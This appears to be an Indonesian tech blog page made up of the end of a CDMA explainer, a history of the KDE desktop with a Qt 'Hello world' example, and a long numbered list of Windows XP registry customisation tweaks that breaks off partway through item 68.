Walaupun begitu jika diterapkan pada telepon seluler, CDMA mempunyai masalah yang disebut near-far problem. Masalah ini terjadi akibat pemakaian pita frekuensi yang sama pada waktu yang sama. Akibatnya, pelanggan yang paling dekat dengan base station (BTS) akan mendominasi BTS karena sinyalnya diterima (oleh BTS) paling besar dibandingkan dengan pelanggan lain yang jaraknya lebih jauh. Bagi pelayanan yang baik, hal itu tidak diharapkan. Untuk mengatasinya dipakailah teknik power control. Teknik ini menyebabkan BTS memerintahkan ponsel pelanggan untuk mengurangi daya pancar (secara otomatis) ketika sinyalnya diterima paling besar. Sehingga seluruh pelanggan di areal cakupan BTS akan diterima dengan besar sinyal yang sama.

CDMA dapat dikombinasikan dengan teknik lain untuk menjadi teknik hibrid semacam: FCDMA yang merupakan kombinasi dari FDMA dan CDMA, TCDMA yang merupakan kombinasi dari TDMA dan CDMA. Juga ada DS-FHMA yang merupakan kombinasi dari CDMA/DSSS dengan FHMA.
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

KDE Desktop

KDE (K Desktop Environment) adalah sebuah Desktop Environment (lingkungan desktop) yang banyak digunakan pada saat ini. Sebenarnya KDE ialah kepanjangan dari Kool Desktop Environment. Namun K disini sepertinya tidak lagi berasosiasi dengan Kool. Bisa dibilang KDE adalah saingan terberat GNOME (GNU Network ObjectModel Environment). Namun KDE lebih banyak disukai daripada GNOME. Pernah suatu ketika Linus Torvalds mengeluarkan pernyataan yang sangat berani dan sangat mengejutkan. Linus mengatakan bahwa orang-orang yang berada di GNOME adalah orang-orang IDIOT!. Wah, tentu saja hal ini membuat gempar dan membuat orang-orang GNOME menjadi tersingung. Alasannya adalah karena Linus menilai GNOME terllu mementingkan tampilan dan mengabaikan keamanan. Padahal seharusnya keamanan yang harus diutamakan karena adalah ciri khas LINUX, the Hackers OS ;)

KDE lahir dari tangan dingin Matthias Ettrich, seorang Mahasiswa Universitas Tubingen-Jerman pada Oktober 1996. Beliau sendiri pada pertengahan tahun 90-an dikenal sebagai programer LyX. Matthias Ettrich adalah seorang Hacker yang rendah diri, ramah dan memiliki kepribadian menarik. Sama sekali tidak terdapat kesan sombong dalam dirinya. Matthias kini bekerja di Trolltech.


Segalanya diawali sekitar musim gugur tahun 1996. Beliau mengirimkan sebuah email e-mail ke Milis LyX:



----------------------------------------------------------------------------------

To: lyx@via.ecp.fr
Subject: Kool Desktop Environment
From: ettrich@peanuts.informatik.uni-tuebingen.de
Date: Mon, 14 Oct 1996 15:19:00 +0100 (MET)
Reply-To: lyx@zen.via.ecp.fr
Sender: owner-lyx@zen.via.ecp.fr


Hello,
I try to start another project with the goal to make Unix/X11 more userfriendly. I just want to start this and do little coding, most of my programming time will still go into the LyX development.

----------------------------------------------------------------------------------


Email tersebut juga berisi penjelasan panjang lebar mengenai project yang akan dikerjakannya. Tujuan utama dari KDE adalah menyulap Unix menjadi ramah dan user-friendly.



Adalah sebuah Toolkit bernama QT dari Trolltech yang dipergunakan untuk membangun KDE. Trolltech ialah sebuah perusahaan software di Oslo, Norwegia. Qt ialah toolkit yang digunakan untuk membangun aplikasi berbasis GUI di Unix. Qt menjadi fondasi untuk KDE, selain juga telah dipergunakan dalam berbagai aplikasi komersial. Dulunya, QT merupakan produk komersial. Namun setelah beberapa perjuangan panjang, akhirnya kini Qt digolongkan sebagai software open-source karena dilisensi dual: dengan General Public License (GPL) dan Qt Public License (QPL). Berikut ialah contoh program untuk menampilkan "Hello World" dengan menggunakan QT versi 2.x :



  1: // qhello.cpp - Qt Hello world
  2:
  3: #include <qapplication.h>
  4: #include <qlabel.h>
  5:
  6: int main( int argc, char **argv )
  7: {
  8:   QApplication app( argc, argv );
  9:   QString msg( "Hello world !" );
 10:
 11:   QLabel txt( "Hello world !", 0 );
 12:   txt.resize( 250,50 );
 13:   txt.setAlignment( Qt::AlignCenter );
 14:
 15:   app.setMainWidget( &txt );
 16:   txt.show();
 17:
 18:   return app.exec();
 19: }
Compile program diatas dengan perintah berikut (saya asumsikan QT terinstall di /usr/lib/qt2 ) :

g++ -o qhello qhello.cpp -lqt -I /usr/lib/qt2/include -L /usr/lib/qt2/lib


Jika anda tertarik untuk mempelajari QT, anda bisa berkunjung ke:

http://doc.trolltech.com



Agar terintegrasi dengan sempurna, KDE dibangun dengan menggunakan pustaka standar KDE (kdelibs). Pustaka ini mencakup kumpulan rutin yang dibutuhkan untuk pemrograman aplikasi grafis, fitur network, dan interaksi dengan pengguna.




KDE 1.0 Dirilis!!
-----------------

Pada musim panas tahun 1998 KDE 1.0 dirilis. KDE saat itu juga sudah tersedia untuk varian Unix lain seperti FreeBSD, HPUX, dan Sun Solaris. KDE versi pertama ini terdiri atas beberapa perangkat dasar antara lain sistem menu (KStart), panel seperti taskbar-nya Windows(KPanel), serta window manager (KWM). Tidak hanya itu, KDE juga menawarkan sejumlah aplikasi lain yang sangat bermanfaat. Diantaranya ControlCenter untuk mengatur berbagai konfigurasi sistem (KControl), image viewer, File Manager, Konsole (Terminal emulator), e-mail client (KMail), organizer (KOrganizer), dan masih banyak lagi.

KDE 1 sangat cepat sekali menarik perhatian orang. Maklum saja, KDE menawarkan sesuatu yang baru yang telah banyak dinanti-nantikan orang. Banyak distro yang kemudian menyertakan KDE dalam paketnya. Misalnya saja SuSE, distro asal Jerman ini telah menyertakan KDE 1 pada SuSE versi 6.0. Walapun beberapa distro sama sekali tidak melirik KDE, namun paket instalasi KDE tidak resmi serta petunjuk instalasinya telah banyak beredar untuk banyak distro.



Sempat terjadi kericuhan dan kontroversi dalam pengembangan KDE versi ini. Richard Stallman adalah salah satu orang yang menolak kehadiran KDE karena KDE dibangun dengan Qt. Saat itu, Qt bukanlah merupakan pustaka yang bersifat open-source. Banyak kalangan mencoba membujuk Trolltech agar meng-Open source -kan produknya namun usaha ini sia-sia.



Lalu apa komentar si Bapak Linux mengenai kondisi ini? Apakah Linus juga menentang kehadiran KDE?? Linus Torvalds dengan bijaksana memberikan komentarnya:

My opinion on licenses is that "he who writes the code gets to choose his license, and nobody else gets to complain". Anybody complaining about a copyright license is a whiner.

Digagaslah sebuah project baru bernama Harmony. Project ini bertujuan untuk menciptakan versi Open-Source dari Qt. Namun project ini akhirnya mati perlahan karena dinilai tidak menarik oleh kebanyakan pihak. Project Harmony ditutup pada Januari 1999.


Februari 1999, KDE 1.1 dirilis. Namun kemudian diadakan beberapa perbaikan (KDE 1.1.1) pada bulan bulan Mei. Beberapa penghargaan berhasil diraih, diantaranya ialah LinuxWorld Editor Choice Award 1999, "SoftwareInnovation of theYear" CeBIT 1999, dan Linux Journal 1999 Readers'Choice.

Agustus 1997 GNOME dikembangkan. Kehadiran GNOME juga menjadi bagian tersendiri dari perkembangan KDE. Berkat adanya GNOME yang dirintis oleh Miguel de Icaza, Trolltech meluluhkan sikapnya atas ketidakmauannya untuk menjadikan QT sebagai produk Open Source. Pada akhir tahun 1998 Trolltech akhirnya melepaskan versi Qt untuk Unix/X11 dengan QPL (Qt Public License). Sejak saat itulah QT resmi sebagai produk open-source.



KDE 2, sebuah perubahan besar.
------------------------------

KDE 2 dikembangkan dengan menggunakan QT 2. QT 2 sangat berneda dengan QT 1 sehingga KDE mengalami perombakan total. Panel di KDE 1 telah berubah menjadi Kicker di KDE 2 yang lebih tangkas dan menarik. Perkembangan lain seperti KIO dibangun untuk memudahkan akses data dengan semakin mudah ke berbagai device (misalnya disket, network drive, FTP, dll..). Untuk urusan Browsing, Tim KDE mengembangkan sendiri engine untuk membangun sebuah browser web yang mendukung penuh HTML 4 dan CSS (KHTML). Konqueror pun muncul di dunia. Konqueror ialah sebuah file manager sekligus browser web yang memanfaatkan KHTML. KMail dan KNode (program untuk akses e-mail dan newsgroup) mulai dipercantik dan dipoles disana-sini. Sadar bahwa dunia Linux miskin dengan IDE (Integrated Development Environment), maka tim KDE menghdirkan KDevelop, sebuah IDE modern yang berbasis KDE.


Sadar akan pentingnya aplikasi olah dokumen, KOffice dikembangkan. KOffce 1.1 meliputi KWord (pengolah kata), KSpread (spreadsheet), KPresenter (presentasi), Kivio (diagram dan flowchart), serta KIllustrator (grafik vektor).


KDE 2 meraih beberapa perhargaan: Show Favorite dan Linux Community Award di ajang LinuxWorld Expo 2000, Frankfurt, baik Editor's Choice 2000 maupun Reader's Choice 2000 dari LinuxJournal, Best Open Source Project di LinuxWord Expo 2001 San Francisco, Reader's Choice Award dari LinuxJournal 2001, dan masih banyak lagi.  Wah, hal ini membuktikan bahwa KDE memang luar biasa ;)



KDE 3 dengan QT 3

-----------------
KDE 3 dikembangkan dengan Qt 3. Proses rilis KDE 3 dengan Dirk Müller berperan sebagai release coordinator, tidak terlalu berlarut-larut seperti sebelumnya. Hal ini dikarenakan QT 3 tidak terlalu berbeda dengan pendahulunya, QT 2. KDE 3 lebih cepat dibandingkan pendahulunya, serta tidak terlalu memakan  memori.


Lahir pula paket KDE Edutainment bersama KDE 3. KDE Edutainment dirancang untuk anak-anak serta kaum remaja. KDE Edutainment meliputi KTouch untuk latihan mengetik, KStar yang mensimulasikan peta langit, KVocTrain untuk melatih kosakata, dan banyak lagi. Misi utama dari KDE Edutainment ialah untuk menghadirkan suasana "BELAJAR SAMBIL BERMAIN".



KDE 3.1
-------
KDE 3.1 dirilis setahun kemudian. Rilis KDE 3.1 tergolong cukup lama setelah kelahiran pendahulunya karena dilakukan security audit untuk semakin meningkatkan keamanan. Ada begitu banyak hal baru di KDE versi ini yang menjadikanya semakin manis. Konqueror menjadi semakin cepat dan memiliki banyak fitur, dukungan Game yang semakin banyak, serta aplikasi-aplikasi yang sangat bermanfaat lainnya.



Sejak saat itu hingga kini, KDE semakin berkembang melahirkan versi-versi baru dan perbaikan di sana-sini. KDE akan semakin berkembang dan semakin powerful. Dengan tampilan yang semakin menggoda, tanpa mengabaikan faktor security.





--[ Referensi:

[1] http://www.trolltech.com
[2] http://www.kde.org
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Tweaking Registry Windows XP

(1).Mengganti Nama Recycle Bin
------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}
Klik ganda pada option (Default value) dan beri nama baru sesuai yang diinginkan pada Value Data.



(2).Memunculkan Rename Pada Recycle Bin
---------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda pada Attributes > Edit Binary Value. Pada Value Data, ganti angka tersebut menjadi 0000 50 01 00 20.



(3).Menambah Isi Shortcut Menu Pada Recycle Bin
-----------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda Attributes dan ganti angka di Value Data dengan angka berikut ini:
0000 50 01 00 20 > Rename
0000 60 01 00 20 > Delete
0000 70 01 00 20 > Rename & Delete
0000 41 01 00 20 > Copy
0000 42 01 00 20 > Cut
0000 43 01 00 20 > Copy & Cut
0000 44 01 00 20 > Paste
0000 45 01 00 20 > Copy & Paste
0000 46 01 00 20 > Cut & Paste
0000 47 01 00 20 > Cut, Copy & Paste



(4).Menambah Isi Shortcut Menu Pada Recycle Bin Dengan Menu Pilihan
-------------------------------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell
Klik menu Edit > New > Key dan beri nama yang diinginkan (Misalnya: Go To Windows Explorer). Dibawah key yang baru tersebut, tekan lagi menu Edit > New > Key dan buat sebuah key baru bernama Command. Klik ganda option (Default), dan pada bagian Value Data, isi dengan path Windows Explorer (C:\WINDOWS\Explorer.exe).



(5).Mengembalikan Folder Documents Yang Hilang Di My Computer
-------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths
Pilih menu Edit > New > String Value dan beri nama sesuai dengan username yang digunakan di Windows (misal: y3ppy) Klik ganda pada value tersebut dan masukkan path tempat dimana Documents anda berada (misal D:\Documents)



(6).Menyingkirkan File Stored Dari My Computer
----------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\MyComputer\NameSpace\DelegateFolders
Hapus subkey {59031a47-3f72-44a7-89c5-5595fe6b30ee}



(7).Menyembunyikan My Recent Documents
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoRecentDocsMenu. Kemudian klik ganda pada DWORD Value tersebut, dan berikan angka 1 untuk mengaktifkannya.



(8).Mengembalikan Fungsi Search Kedalam Tampilan Lama
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState
Pilih menu Edit > New > String Value dan beri nama UseSearchAsst. Klik ganda UseSearchAsst dan masukkan angka 1 pada Value Data.



(9).Menyembunyikan Menu Find
----------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoFind. Kemudian klik ganda pada DWORD Value tersebut dan berikan angka 1 untuk mengaktifkannya. Restart komputer.



(10).Menyembunyikan Menu Run (1)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRun. Klik ganda dan masukkan angka 1 sebagai Value Data.



(11).Menyembunyikan Menu Run (2)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowRun, klik ganda dan masukkan angka 0 pada bagian Value Data.



(12).Menyembunyikan Log Off
---------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > Binary Value dan beri nama NoLogOff.

Klik ganda pada NoLogOff dan masukkan angka 01 00 00 00 pada bagian Value Data.



(13).Menyembunyikan Menu Turn Off Computer
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoClose. Klik ganda NoClose dan beri angka 1 pada Value Data.



(14).Cleartype Pada Logon Screen
--------------------------------
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda FontSmoothingType dan masukkan angka 2 pada Value Data.



(15).Membuat Tampilan Berbeda Pada Jendela Logon
------------------------------------------------
HKEY_USERS\. DEFAULT\Software \Microsoft\Windows\CurrentVersion\ThemeManager
Klik ganda ColorName dan masukkan teks Metallic pada Value Data.



(16).Menampilkan Administrator Di Welcome Screen
------------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Buat sebuah DWORD Value baru dan beri nama Administrator.
Klik ganda Administrator dan masukkan angka 1 pada Value Data



(17).Login Otomatis
-------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Klik ganda AltDefaultUserName dan masukkan username account yang dipilih. Klik ganda AutoAdminLogon dan masukkan angka 1 pada Value Data. Buat sebuah DWORD Value baru dan beri nama DefaultPassword. Klik ganda DefaultPassword dan masukkan password account yang dipilih pada Value Data.



(18).Menyembunyikan Icon Printer & Faxes dari Start Menu
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowPrinters dan berikan angka 0 pada Value Data.



(19).Menyembunyikan Control Panel Dari Start Menu
-------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowControlPa nel dan klik ganda pada bagian tersebut. Masukkan angka 0 pada Value Data.



(20).Menyembunyikan Menu My Pictures Dari Start Menu
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowMyPics dan masukkan angka 0 pada bagian Value Data.



(21).Memunculkan Menu Administrative Tools
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada StartMenuAdminTools dan berikan angka 1 pada Value Data.



(22).Memperkecil Icon Start Menu
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_LargeMFUIcons dan masukkan angka 1 pada Value Data.



(23).Menghilangkan Username Pada Start Menu
-------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoUserNameInStartMenu. Klik ganda NoUserNameInStartMenu dan masukkan angka 1 pada Value Data.



(24).Mencegah Perubahan Menu Start
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoChangeStartMenu. Klik ganda NoChangeStartMenu dan masukkan angka 1 pada Value Data.



(25).Menyembunyikan My Recent Documents
---------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowRecentDoc s dan masukkan angka 0 pada Value Data.



(26).Mengubah Nama Default Shortcut Penting Di Desktop
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID
Klik ganda pada default value pada masing-masing subkey dibawah ini:
My Network Places:
{208D2C60-3AEA-1069-A2D7-08002B30309D}
My Computer:
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
My Documents:
{450D8FBA-AD25-11D0-98A8-0800361B1103}
Recycle Bin:
{645FF040-5081-101B-9F08-00AA002F954E}
Default IE Icon:
{871C5380-42A0-1069-A2EA-08002B30309D}
Masukkan nama-nama unik sebagai pengganti nama defaultnya.



(27).Menyembunyikan Icon Di Desktop
------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada HideIcons dan masukkan angka 1 pada Value Data.



(28).Mengganti Wallpaper
-------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada wallpaper dan masukkan path gambar yang diinginkan pada Value Data.



(29).Membersihkan Semua Icon Pada Desktop
-----------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoDesktop. Klik ganda pada NoDesktop dan masukkan angka 1 pada Value Data.



(30).Membuat Desktop Lebih Stabil
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
Buat sebuah DWORD Value baru dan beri nama DesktopProcess. Klik ganda DesktopProcess dan masukkan angka 1 pada Value Data.



(31).Menghapus Daftar Program Dalam Menu Run
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Di jendela sebelah kanan, akan terlihat deretan software-software (ditandai secara alphabet a, b, c, d, dan seterusnya). Untuk menghapusnya, cukup dengan memilih salah satu (atau semua) nama program yang ada dan tekan tombol [Del]. Jika muncul jendela konfirmasi untuk penghapusan data, tekan Yes.



(32).Membersihkan Recent Documents
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRecentDocsHistory. Klik ganda pada NoRecentDocsHistory dan masukkan angka 1 pada bagian Value Data.



(33).Menghilangkan Info Tip Pada Icon Folders Di Desktop
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada FolderContentsInfoT ip dengan angka 0.



(34).Mengunci Taskbar
---------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada TaskBarSizeMove dan masukkan angka 0 pada Value Data.



(35).Menghapus Past Items Icons Pada Taskbar
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify
Hapus IconStreams dan PastIconsStream, kemudian buka Task Manager, pada Tab Processes klik kanan pada explorer.exe dan pilih End Process. Klik menu File > New Task (Run) dan ketikan kembali explorer dan tekan OK.



(36).Menyembunyikan System Tray
---------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Jika key Explorer belum ada buatlah sebuah DWORD Value baru dan beri nama NoTrayItemsDisplay. Klik ganda NoTrayItemsDisplay dan masukkan angka 1 pada Value Data. Untuk mengembalikan System Tray masukkan angka 0 pada Value Data.



(37).Menonaktifkan Klik-kanan Pada Desktop
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoViewContextMenu. Klik ganda pada NoViewContextMenu dan masukkan angka 1 pada Value Data.



(38).Mengubah Waktu Delay Ketika Membuka Menu
---------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada MenuShowDelay dan ubah angka milidetik yang semula 400 menjadi angka lain. Semakin kecil semakin cepat.



(39).Mengatur Ukuran Icon Di Desktop Dan Start Menu
---------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada Shell Icon Size dan ubah angka 32 menjadi angka lainnya, misalnya 10.



(40).Mengganti Warna Windows
----------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda Window dan masukkan kombinasi warna RGB (gunakan Adobe PhotoShop untuk menemukan kombinasi warna yang sesuai).



(41).Mengganti Warna Teks Dalam Windows
---------------------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda WindowText dan masukkan kombinasi warna RGB.



(42).Menghilangkan Tab Screen Saver
-----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
Buat sebuah DWORD Value baru dan beri nama NoDispScrSavPage. Klik ganda NoDispScrSavPage dan masukkan angka 1 pada Value Data.



(43).Mengganti Screen Saver Lewat Registry
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda SCRNSAVE.EXE kemudian masukkan path tempat file Screen Saver yang diinginkan. Misalnya: C:\WINDOWS\ScreenSaver.scr



(44).Menonaktifkan Default Screen Saver
---------------------------------------
HKEY_USERS\.DEFAULT\Control Panel\Desktop
Klik ganda ScreenSaveActive dan masukkan angka 0 pada Value Data. Untuk mengembalikannya masukkan angka 1 pada Value Data.



(45).Menghilangkan Tanda Anak Panah Pada Icon Shortcut
------------------------------------------------------
HKEY_CLASSES_ROOT\Inkfile
HKEY_CLASSES_ROOT\piffile
Ubah nama IsShortcut menjadi IsShortcuts.



(46).Mengubah Style Wallpaper
-----------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada WallpaperStyle dan masukkan angka sebagai berikut di Value Data:
1 > Center
2 > Stretch
3 > Tile



(47).Menonaktifkan Peringatan Low Disk Space
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buatlah sebuah DWORD Value baru dan beri nama NoLowDiskSpaceChecks. Klik ganda NoLowDiskSpaceChecks dan masukkan angka 1 pada Value Data.



(48).Menonaktifkan Menu Properties My Computer
----------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data. Jika key Explorer tidak ada, buat yang baru dengan mengklik menu Edit > New > Key dan beri nama Explorer.


(49).Mengubah Ukuran CoolSwitch
-------------------------------
(Coba Tekan Alt+Tab, itulah yang disebut dengan CoolSwitch)
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik CoolSwitchColumns dan aturlah seberapa panjang CoolSwitch ini akan ditampilkan dengan memasukkan angka yang diinginkan pada Value Data. Kemudian klik CoolSwitchRows dan lakukan hal yang serupa.



(50).Menonaktifkan Fungsi CoolSwitch
------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda pada CoolSwitch dan masukkan angka 0.



(51).Menonaktifkan Animasi Pada Windows XP
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada MinAnimate dan masukkan angka 1 untuk menonaktifkan, dan 0 untuk mengaktifkannya kembali.



(52).Mengubah Tombol Kiri Menjadi Tombol Kanan Pada Mouse
---------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Mouse
Klik ganda pada SwapMouseButtons dan beri angka 1 pada Value Data.



(53).Mengubah Gulungan Baris Pada Scroll Mouse
----------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda WheelScrollLines masukkan angka yang diinginkan (sesuai dengan baris yang hendak digulung) pada Value Data.



(54).Menyembunyikan System Properties Pada Control Panel
--------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\don't load
Buatlah sebuah String Value baru dan beri nama sysdm.cpl. Klik ganda sysdm.cpl dan masukkan input Yes pada bagian Value Data.



(55).Menonaktifkan Display Properties
-------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
Pada bagian subkey Policies, buat sebuah key baru dengan cara Edit > New > Key dan beri nama System. Kemudian di subkey System, buatlah sebuah DWORD Value baru dan beri nama NoDispCPL. Klik ganda NoDispCPL dan masukkan angka 1 pada Value Data.



(56).Mengatur Kecepatan Repeat Rate Keyboard
--------------------------------------------
HKEY_CURRENT_USER\Control Panel\Keyboard
Klik ganda KeyboardSpeed dan masukkan nilai yang diinginkan. Semakin tinggi angkanya, semakin cepat pula Repeat Rate-nya.



(57).Teks Bergaris Bawah Pada Notepad
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda lfUnderline dan masukkan angka 1 pada Value Data.



(58).Mode Word Wrap Pada Notepad
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda fWrap dan masukkan angka 1 pada Value Data.



(59).Status Bar Pada Notepad
----------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda StatusBar dan masukkan angka 1 pada Value Data.



(60).DVD Di Windows Media Player
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings
Pilih menu Edit > New > String Value dan beri nama DVDUI. Klik ganda DVDUI dan masukkan teks Yes pada Value Data.



(61).Menambah Identitas Windows Media Player
--------------------------------------------
HKEY_CURRENT_USER\Software\Policies\Microsoft
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
Klik Edit > New > Key dan beri nama WindowsMediaPlayer. Klik Edit > New > String Value dan beri nama TitleBar. Klik ganda TitleBar dan masukkan teks yang diinginkan pada Value Data.



(62).Mengubah Tombol Stop Menjadi Tombol Play Pada Windows Media Player
-----------------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\MediaPlayer\Objects\StopButton
Klik ganda onclick dan masukkan teks player.controls. play() pada Value Data.



(63).Memilih Pemutar CD Audio Default
-------------------------------------
HKEY_CLASSES_ROOT\AudioCD\Shell\Play\Command
Klik ganda (Default) dan masukkan path software yang anda inginkan sebagai pemutar CD Audio secara default. Misalnya: C:\Program Files\Windows Media Player\wmplayer.exe



(64).Mengembalikan Akses Ke CD-ROM
----------------------------------
Setelah menguninstall sebuah program pembakar CD, adakalanya CD-ROM tidak bisa lagi diakses. Lakukan hal berikut untuk menormalkannya. Pergilah ke lokasi berikut:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentCo ntrolSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}
Hapus subkey LowerFilters dan UpperFilters dengan menekan tombol Del.



(65).Memperkecil Ukuran Thumbnail Untuk Windows Explorer
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
Pilih menu Edit > New > Binary Value dan beri nama ThumbnailSize. Klik ganda ThumbnailSize dan masukkan angka 20 pada Value Data.



(66).Membuat Shortcut Menu Pribadi Di Windows Explorer
------------------------------------------------------
HKEY_CLASSES_ROOT\Drive\Shell
Pilih Edit > New > Key dan beri nama Winamp sebagai contohnya. Klik ganda option (Default) disisi kanan registry editor dan masukkan teks Winamp. Klik subkey Winamp dan pilih menu Edit > New > Key dan beri nama Command. Klik ganda option (Default) dan masukkan path C:\Program Files\Winamp\Winamp.exe pada Value Data.



(67).Enkripsi Melalui Menu Konteks
----------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Buat sebuah DWORD Value baru dan beri nama EncryptionContextMenu. Klik ganda EncryptionContextMenu dan masukkan angka 1 pada Value Data.



(68).Mengganti Icon Pada Drives
-------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
